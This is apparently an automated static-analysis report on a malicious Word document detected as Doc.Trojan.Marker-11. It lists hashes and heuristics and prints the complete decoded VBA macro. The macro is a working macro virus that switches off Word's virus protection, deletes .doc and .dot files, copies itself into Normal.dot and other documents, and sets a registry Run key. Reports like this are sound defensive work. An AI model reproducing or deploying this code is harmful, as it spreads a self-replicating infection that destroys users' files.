Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e1ae5d5d5fcb3a4…

MALICIOUS

Office (OLE)

340.5 KB Created: 2010-04-14 01:32:00 Authoring application: Microsoft Word 11.5.6 First seen: 2012-09-15
MD5: 395e3abd07b39015f1b4e0be7161b508 SHA-1: 0fa0b339f97a7a81d450defcc1f09133451c64d3 SHA-256: 7e1ae5d5d5fcb3a4d3c9095aa72b8badb68f6aede5ea2e511f2bcf389f3d6ec6
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-11
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Options.VirusProtection = False
    AddIns.Unload True
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Const MarkerB = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
    Document_Close

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4277 bytes
SHA-256: dfdc595de4959dab6c54fb4640a1097c835c0e39dc5640629332fb2e874f0399
Detection
ClamAV: Doc.Trojan.Marker-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Const TJ780611 = "<% this is a mark by TJ780611 V1.00 %>"
Const MarkerA = "<- this is a mark by TJ780611 V1.00b"
Const MarkerB = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
    Document_Close
End Sub
Private Sub Document_Close()
    Dim oNT, oAD, oVBProject As Object
    Dim bNT, bAD As Boolean
    Dim TJY2K As String
    On Error Resume Next
    Options.VirusProtection = False
    AddIns.Unload True
    Kill Options.DefaultFilePath(8) & "\*.doc"
    Kill Options.DefaultFilePath(8) & "\*.dot"
    Application.UserName = "TJ 2000"
    Application.UserInitials = "TJY2K"
    Application.UserAddress = "TJ780611@ThePentagon.Com"
    Application.EnableCancelKey = wdCancelDisabled
    GoSub InsertCode
    GoSub ProbeMacros
    GoSub ShowMe
    GoTo Finish
InsertCode:
    Set oAD = ActiveDocument.VBProject.VBComponents.Item(1)
    Set oNT = NormalTemplate.VBProject.VBComponents.Item(1)
    bAD = oAD.CodeModule.Find(TJ780611, 1, 1, 10000, 10000)
    bNT = oNT.CodeModule.Find(TJ780611, 1, 1, 10000, 10000)
    If (bAD Xor bNT) And _
        (ActiveDocument.SaveFormat = wdFormatDocument Or _
        ActiveDocument.SaveFormat = wdFormatTemplate) Then
        If bAD Then
            TJY2K = oAD.CodeModule.Lines(1, oAD.CodeModule.CountOfLines)
            oNT.CodeModule.DeleteLines 1, oNT.CodeModule.CountOfLines
            oNT.CodeModule.AddFromString TJY2K
            NormalTemplate.Save
        End If
        If bNT Then
            TJY2K = oNT.CodeModule.Lines(1, oNT.CodeModule.CountOfLines)
            oAD.CodeModule.DeleteLines 1, oAD.CodeModule.CountOfLines
            oAD.CodeModule.AddFromString TJY2K
            If Not (ActiveDocument.Saved) Then oAD.Save
        End If
    End If
    Return
ProbeMacros:
    For Each oVBProject In ActiveDocument.VBProject.VBComponents
        If oVBProject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
                Name:=oVBProject.Name, Object:=wdOrganizerObjectProjectItems
            If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
        End If
    Next oVBProject
    For Each oVBProject In NormalTemplate.VBProject.VBComponents
        If oVBProject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
                Name:=oVBProject.Name, Object:=wdOrganizerObjectProjectItems
            NormalTemplate.Save
        End If
    Next oVBProject
    Return
ShowMe:
Dim RootSys As String
Dim strWP As String
On Error Resume Next
    RootSys = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
    RootSys = RootSys & "\TJ.htm"
    If Day(Date) = 11 Then
    Open RootSys For Output As #1
    Print #1, "<html><head><title>Who woman is ... </title></head>"
    Print #1, "<body bgcolor='#FFFF00'>"
    Print #1, "<h1 align='center'><marquee>Woman...</marquee></h1>"
    Print #1, "<p align = 'center'><font size='4'>Woman is created from a rib of a man"
    Print #1, "<br>Not from his head, to be above him"
    Print #1, "<br>Nor his feet, to be walked upon"
    Print #1, "<br>But from his chest, to be hugged"
    Print #1, "<br>Near his arm, to be protected"
    Print #1, "<br>And close to his heart, to be loved</font></p>"
    Print #1, "</body></html>"
    Close #1
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootSys
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Woman") = RootSys
    End If
    strWP = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Woman")
    If Day(Date) > 12 And strWP = RootSys Then
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Woman") = ""
    End If
Return
Finish:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.